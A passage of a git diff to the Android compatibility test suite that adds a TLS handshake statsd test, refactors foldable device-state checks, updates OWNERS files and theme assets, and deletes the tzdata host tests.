 import com.android.compatibility.common.util.ShellIdentityUtils;
-
 import org.junit.Assert;
 import org.junit.Test;
 
@@ -97,6 +96,11 @@
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiConsumer;
 
+import javax.net.ssl.SSLSocket;
+
+import libcore.javax.net.ssl.TestSSLContext;
+import libcore.javax.net.ssl.TestSSLSocketPair;
+
 public class AtomTests {
     private static final String TAG = AtomTests.class.getSimpleName();
 
@@ -226,6 +230,20 @@
     }
 
     @Test
+    public void testTlsHandshake() throws Exception {
+        TestSSLContext context = TestSSLContext.create();
+        SSLSocket[] sockets = TestSSLSocketPair.connect(context, null, null);
+
+        if (sockets.length < 2) {
+            return;
+        }
+        sockets[0].getOutputStream().write(42);
+        Assert.assertEquals(42, sockets[1].getInputStream().read());
+        sockets[0].close();
+        sockets[1].close();
+    }
+
+    @Test
     // Start the isolated service, which logs an AppBreadcrumbReported atom, and then exit.
     public void testIsolatedProcessService() throws Exception {
         Context context = InstrumentationRegistry.getContext();
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
index e192e72..9648d8c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
@@ -183,8 +183,9 @@
     private void testAppCompatFlow(String activity, @Nullable String secondActivity,
             boolean switchToOpened, List<AppCompatStateChanged.State>... expectedStatesOptions)
             throws Exception {
-        if (!isOpenedDeviceStateAvailable()) {
-            CLog.i("Device doesn't support OPENED device state.");
+        if (!isDeviceStateAvailable(DEVICE_STATE_OPENED)
+                || !isDeviceStateAvailable(DEVICE_STATE_CLOSED)) {
+            CLog.i("Device doesn't support OPENED or CLOSED device states.");
             return;
         }
 
@@ -238,10 +239,10 @@
         return result;
     }
 
-    private boolean isOpenedDeviceStateAvailable() throws Exception {
+    private boolean isDeviceStateAvailable(int state) throws Exception {
         return Arrays.stream(
                 getDevice().executeShellCommand(CMD_GET_AVAILABLE_DEVICE_STATES).split(","))
                 .map(Integer::valueOf)
-                .anyMatch(state -> state == DEVICE_STATE_OPENED);
+                .anyMatch(availableState -> availableState == state);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
index 1236598..3c4ed4f 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
@@ -1,2 +1,3 @@
-# Owners of the IntegrityCheckResultReported atom
-songpan@google.com
+# Bug component: 953234
+include platform/frameworks/base:/services/core/java/com/android/server/integrity/OWNERS
+
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
index 5671afb..23ffc03 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -69,7 +69,8 @@
                 .addAllowedLogSource("AID_SYSTEM")
                 .addAllowedLogSource("AID_BLUETOOTH")
                 // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
-                .addAllowedLogSource("com.android.bluetooth")
+                .addAllowedLogSource("com.android.bluetooth.services")
+                .addAllowedLogSource("com.google.android.bluetooth.services")
                 .addAllowedLogSource("AID_LMKD")
                 .addAllowedLogSource("AID_MEDIA")
                 .addAllowedLogSource("AID_RADIO")
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
index b797e68..68a7135 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
@@ -28,9 +28,11 @@
 import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported.Event;
 import com.android.os.StatsLog;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.Pair;
 
 import java.util.Arrays;
 import java.util.List;
@@ -98,11 +100,17 @@
     }
 
     public void testSizeCompatRestartButtonAppearedButNotClicked() throws Exception {
-        if (!isOpenedDeviceStateAvailable()) {
-            CLog.i("Device doesn't support OPENED device state.");
+        if (!isDeviceStateAvailable(DEVICE_STATE_OPENED)
+                || !isDeviceStateAvailable(DEVICE_STATE_CLOSED)) {
+            CLog.i("Device doesn't support OPENED or CLOSED device states.");
             return;
         }
 
+        Pair<Integer, Integer> displaySizeClosed = getDisplayRealSize(getDevice());
+        if (displaySizeClosed == null) {
+            CLog.i("Could not determine display size while CLOSED.");
+            return;
+        }
         try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
                 DeviceUtils.STATSD_ATOM_TEST_PKG, NON_RESIZEABLE_PORTRAIT_ACTIVITY, "action",
                 "action.sleep_top")) {
@@ -111,6 +119,15 @@
             Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         }
 
+        Pair<Integer, Integer> displaySizeOpened = getDisplayRealSize(getDevice());
+        if (displaySizeOpened == null) {
+            CLog.i("Could not determine display size while OPENED.");
+            return;
+        }
+        if (displaySizeClosed.equals(displaySizeOpened)) {
+            CLog.i("Display size has not changed.");
+            return;
+        }
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
         assertThat(data.size()).isEqualTo(1);
 
@@ -120,11 +137,31 @@
         assertThat(atom.getEvent()).isEqualTo(Event.APPEARED);
     }
 
-    private boolean isOpenedDeviceStateAvailable() throws Exception {
+    private boolean isDeviceStateAvailable(int state) throws Exception {
         return Arrays.stream(
                 getDevice().executeShellCommand(CMD_GET_AVAILABLE_DEVICE_STATES).split(","))
                 .map(Integer::valueOf)
-                .anyMatch(state -> state == DEVICE_STATE_OPENED);
+                .anyMatch(availableState -> availableState == state);
+    }
+
+    /**
+     * Returns the physical size of the current display used.
+     */
+    private Pair<Integer, Integer> getDisplayRealSize(ITestDevice device) throws Exception {
+        final String physicalSize = "Physical size: ";
+        String str = device.executeShellCommand("wm size");
+        if (!str.isEmpty()) {
+            String[] lines = str.split(System.getProperty("line.separator"));
+            for (String s : lines) {
+                if (s.contains(physicalSize)) {
+                    String substring = s.substring(physicalSize.length());
+                    if (!substring.isEmpty()) {
+                        return Pair.create(Integer.parseInt(substring.split("x")[0]),
+                                Integer.parseInt(substring.split("x")[1]));
+                    }
+                }
+            }
+        }
+        return null;
     }
 }
-
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java
new file mode 100644
index 0000000..eee4dac
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.tls;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class TlsHandshakeStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testTlsHandshake()
+            throws Exception {
+        final int atomTag = AtomsProto.Atom.TLS_HANDSHAKE_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testTlsHandshake");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isAtLeast(2);
+        AtomsProto.TlsHandshakeReported atom = data.get(0).getAtom().getTlsHandshakeReported();
+        AtomsProto.TlsHandshakeReported atom2 = data.get(1).getAtom().getTlsHandshakeReported();
+        assertThat(atom.getProtocol().toString()).contains("TLS_V1_2");
+        assertThat(atom2.getProtocol().toString()).contains("TLS_V1_2");
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
index 6041c68..7710944 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
@@ -1,4 +1,3 @@
-# Owners of the WifiLockStateChanged atom
-patrikf@google.com
-saagarp@google.com
-stroshin@google.com
+narcisaam@google.com
+dorindrimus@google.com
+vtrifonov@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
index c4bec178..4be79f6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
@@ -42,6 +42,8 @@
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
 
 public class WifiStatsTests extends DeviceTestCase implements IBuildReceiver {
     private IBuildInfo mCtsBuild;
@@ -215,25 +217,29 @@
         DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
-        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data).hasSize(2);
+        List<StatsLog.EventMetricData> metricData = ReportUtils.getEventMetricDataList(getDevice());
+        List<AtomsProto.WifiScanReported> wifiScanAtoms = metricData.stream()
+                .map(eventLog -> eventLog.getAtom().getWifiScanReported())
+                // Disregard interfering scans from other sources.
+                // If this test is run on a device that has a Settings app open that
+                // continuously performs frequent scans, quite often our scans requests
+                // are bundled together and get attributed to the Settings app.
+                .filter(scan -> List.of(
+                                AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP,
+                                AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP)
+                        .contains(scan.getSource()))
+                .filter(Predicate.not(scan -> scan.getImportance().equals(
+                        AtomsProto.WifiScanReported.Importance.IMPORTANCE_UNKNOWN)))
+                .collect(Collectors.toList());
+        assertThat(wifiScanAtoms).isNotEmpty();
 
-        AtomsProto.WifiScanReported a0 = data.get(0).getAtom().getWifiScanReported();
-        AtomsProto.WifiScanReported a1 = data.get(1).getAtom().getWifiScanReported();
-
-        for (AtomsProto.WifiScanReported a : new AtomsProto.WifiScanReported[]{a0, a1}) {
-            assertThat(a.getResult()).isEqualTo(AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
-            assertThat(a.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
-            assertThat(a.getSource()).isAnyOf(
-                    // If this test is run on a device that has a Settings app open that
-                    // continuously performs frequent scans, quite often our scans requests
-                    // are bundled together and get attributed to the Settings app.
-                    AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP,
-                    AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP);
-            assertThat(a.getImportance()).isEqualTo(
+        for (AtomsProto.WifiScanReported scan : wifiScanAtoms) {
+            assertThat(scan.getResult()).isEqualTo(
+                    AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
+            assertThat(scan.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
+            assertThat(scan.getImportance()).isEqualTo(
                     AtomsProto.WifiScanReported.Importance.IMPORTANCE_FOREGROUND_SERVICE);
-
-            assertThat(a.getScanDurationMillis()).isGreaterThan(0);
+            assertThat(scan.getScanDurationMillis()).isGreaterThan(0);
         }
     }
 
@@ -242,7 +248,7 @@
 
 
         ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER,  true);
+                AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER, true);
         DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
diff --git a/hostsidetests/tagging/AndroidTest.xml b/hostsidetests/tagging/AndroidTest.xml
index e4910a9..e784407 100644
--- a/hostsidetests/tagging/AndroidTest.xml
+++ b/hostsidetests/tagging/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.SkipHWASanModuleController" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsTaggingHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 7711060..295163e 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -127,7 +127,7 @@
     device_list = []
 
     for device in devices:
-        if device is not "" and device.startswith(require_prefix):
+        if device != "" and device.startswith(require_prefix):
             info = device.split('\t')
             if info[1] == "device":
                 device_list.append(info[0])
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index 49f2d84..ad653b7 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -21,6 +21,8 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
+    <uses-sdk android:targetSdkVersion="29" />
+
     <application android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
         <activity android:name=".ThemeDeviceActivity"
diff --git a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
index 6be679b..43f9cd4 100644
--- a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
@@ -69,6 +69,11 @@
         String assetDensityFailureMsg = checkAssetDensity();
         if (assetDensityFailureMsg != null) {
             finish("Failed to verify device assets: "+ assetDensityFailureMsg, false);
+        }
+
+        mOutputDir = setupOutputDirectory();
+        if (mOutputDir == null) {
+            finish("Failed to create output directory " + OUT_DIR, false);
         } else {
             mOutputDir = setupOutputDirectory();
             if (mOutputDir == null) {
diff --git a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
index 9bed031..27fa66d 100644
--- a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
+++ b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
@@ -168,7 +168,7 @@
     };
 
     static final LayoutInfo[] LAYOUTS = {
-            new LayoutInfo(R.layout.button, "button"),
+            //new LayoutInfo(R.layout.button, "button"),
             // Temporarily remove tests for pressed Button widget. The Material ripple is in
             // flux, so this is going to be failing frequently on Material until it stablizes.
             //new LayoutInfo(R.layout.button, "button_pressed",
diff --git a/hostsidetests/theme/assets/31/600dpi.zip b/hostsidetests/theme/assets/31/600dpi.zip
new file mode 100644
index 0000000..b6b4e28
--- /dev/null
+++ b/hostsidetests/theme/assets/31/600dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip
new file mode 100644
index 0000000..48de32b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip
new file mode 100644
index 0000000..4def986
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip
new file mode 100644
index 0000000..fe2495e
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip
new file mode 100644
index 0000000..a2c2ea2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip
new file mode 100644
index 0000000..74890a2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip
new file mode 100644
index 0000000..83fd290
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip
new file mode 100644
index 0000000..25334d8
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip
new file mode 100644
index 0000000..2092326
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip
new file mode 100644
index 0000000..c13ad5c
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip
new file mode 100644
index 0000000..1df1a95
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip
new file mode 100644
index 0000000..d58d418
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip
new file mode 100644
index 0000000..535102f
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip
new file mode 100644
index 0000000..20f1c7b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip
new file mode 100644
index 0000000..582989d
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip b/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip
new file mode 100644
index 0000000..3035146
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip
new file mode 100644
index 0000000..a831e7b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip
new file mode 100644
index 0000000..bd4bf75
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip
new file mode 100644
index 0000000..0dd72e2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip
new file mode 100644
index 0000000..64fc846
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip
new file mode 100644
index 0000000..87beb9a
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 2a43129..c02e900 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -54,8 +54,8 @@
                       % (self._emu_path, self._name, self._opts, port_adb, port_tty)
         print(emu_cmd)
 
-        emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
-                                    stderr=subprocess.PIPE)
+        emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.DEVNULL,
+                                    stderr=subprocess.STDOUT)
 
         # The emulator ought to be starting now.
         self._adb_name = "emulator-%d" % (port_tty - 1)
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index 0b0d6d8..b1ad749 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -225,7 +225,7 @@
                             'cts/hostsidetests/theme/assets')
     os.system("mkdir -p %s" % out_path)
 
-    if len(argv) is 2:
+    if len(argv) == 2:
         for density in CTS_THEME_dict.keys():
             emulator = start_emulator(argv[1], density)
             result = do_capture(setup=(theme_apk, out_path), device_serial=emulator.get_serial())
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
deleted file mode 100644
index 29c7891..0000000
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS tzdatacheck host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="libcore" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsHostTzDataTests.jar" />
-    </test>
-</configuration>
diff --git a/hostsidetests/tzdata/OWNERS b/hostsidetests/tzdata/OWNERS
deleted file mode 100644
index 2d36574..0000000
--- a/hostsidetests/tzdata/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-# Bug component: 24949
-include platform/libcore:/OWNERS
diff --git a/hostsidetests/tzdata/TEST_MAPPING b/hostsidetests/tzdata/TEST_MAPPING
deleted file mode 100644
index cb259b1..0000000
--- a/hostsidetests/tzdata/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsHostTzDataTests"
-    }
-  ]
-}
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
deleted file mode 100644
index 551a0e4..0000000
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ /dev/null
@@ -1,1004 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tzdata;
-
-import static org.junit.Assert.assertArrayEquals;
-
-import com.android.i18n.timezone.TzDataSetVersion;
-import libcore.timezone.testing.ZoneInfoTestHelper;
-
-import com.android.timezone.distro.DistroVersion;
-import com.android.timezone.distro.TimeZoneDistro;
-import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Comparator;
-import java.util.StringJoiner;
-import java.util.function.Consumer;
-
-/**
- * Tests for the tzdatacheck binary.
- *
- * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
- * time zone rules in the system image, and a "data directory" in the data partition which can
- * optionally contain time zone rules data files for bionic/libcore and ICU.
- *
- * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
- * simulated situations; simulated system and data directories in various states are created in a
- * location the shell user has permission to access and the tzdatacheck binary is then executed.
- * The status code and directory state after execution is then used to determine if the tzdatacheck
- * binary operated correctly.
- *
- * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
- * on the host before pushing them to the device. Device state is then checked rather than syncing
- * the files back.
- */
-public class TzDataCheckTest extends DeviceTestCase {
-
-    /**
-     * The name of the directory containing the current time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link
-     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
-     */
-    private static final String CURRENT_DIR_NAME = "current";
-
-    /**
-     * The name of the directory containing the staged time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link
-     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
-     */
-    private static final String STAGED_DIR_NAME = "staged";
-
-    /**
-     * The name of the file inside the staged directory that indicates the staged operation is an
-     * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
-     */
-    private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
-
-    /**
-     * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
-     */
-    private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
-
-    /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
-    private static final String RULES_VERSION_ONE = "2016g";
-    /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
-    private static final String RULES_VERSION_TWO = "2016h";
-    /**
